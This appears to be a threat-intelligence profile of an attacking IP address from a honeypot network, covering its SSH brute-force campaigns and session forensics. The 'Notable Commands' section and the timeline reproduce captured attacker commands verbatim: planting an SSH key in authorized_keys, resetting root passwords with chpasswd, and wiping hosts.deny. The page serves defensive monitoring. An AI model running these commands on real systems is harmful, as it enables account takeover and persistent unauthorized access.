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Location
🇺🇸 US / Los Angeles
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED
Cloud Provider
—
Total Events
474
Top 10% by volume
Agent Count
1
First / Last Seen
2026-07-13 00:18 — 2026-07-13 02:59
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (511 IPs, 73 countries)
HASSH
Active
high
🇺🇸 US
511 IPs
421963 events
ssh:bruteforce
2026-02-25 — ongoing · 511 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED
ASN
Active
medium
🇭🇰 HK
36 IPs
17499 events
ftp:bruteforcehttp:scanmysql:bruteforcessh:bruteforce
2026-02-18 — ongoing · 36 IPs from the same network (UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS135377) were active during overlapping time periods. …
Session Forensics
Sessions
68 (16 with login)
Avg Depth Score
0.32
Commands Executed
61
Files Downloaded
11
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:F7UUc5s3D6LZ"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
- echo "root:BE2C7b7r8XDY"|chpasswd|bash
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
bd9251cc8649
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
b217750c6554
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
ee0fe063c7c0
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:F7UUc5s3D6LZ"|chpasswd|bash
Scanner
d08dab1d5854
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
2f299a9f3754
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:BE2C7b7r8XDY"|chpasswd|bash
Scanner
8465838032b0
15%
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SSH-2.0-libssh_0.9.6
Opportunistic Bruter
4904ad82cbb6
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
a21140240bf1
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Scanner
b48b9a302b46
15%
Loading events...
SSH-2.0-libssh_0.9.6
Malware Dropper
86755e6fff49
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
09e08c1c84cb
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Scanner
625273d9d60b
15%
Loading events...
SSH-2.0-libssh_0.9.6
Scanner
2b4289fc7ad5
15%
Loading events...
SSH-2.0-libssh_0.9.6
Scanner
9ecd051259a6
15%
Loading events...
SSH-2.0-libssh_0.9.6
Scanner
97b550514397
15%
Loading events...
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
69ce3daa8955
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
fdab45393563
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
6b690478105f
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
75275d49e8f9
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Scanner
e92fb8bdcad6
15%
Loading events...
SSH-2.0-libssh_0.9.6
Scanner
d540f13af7c7
15%
Loading events...
SSH-2.0-libssh_0.9.6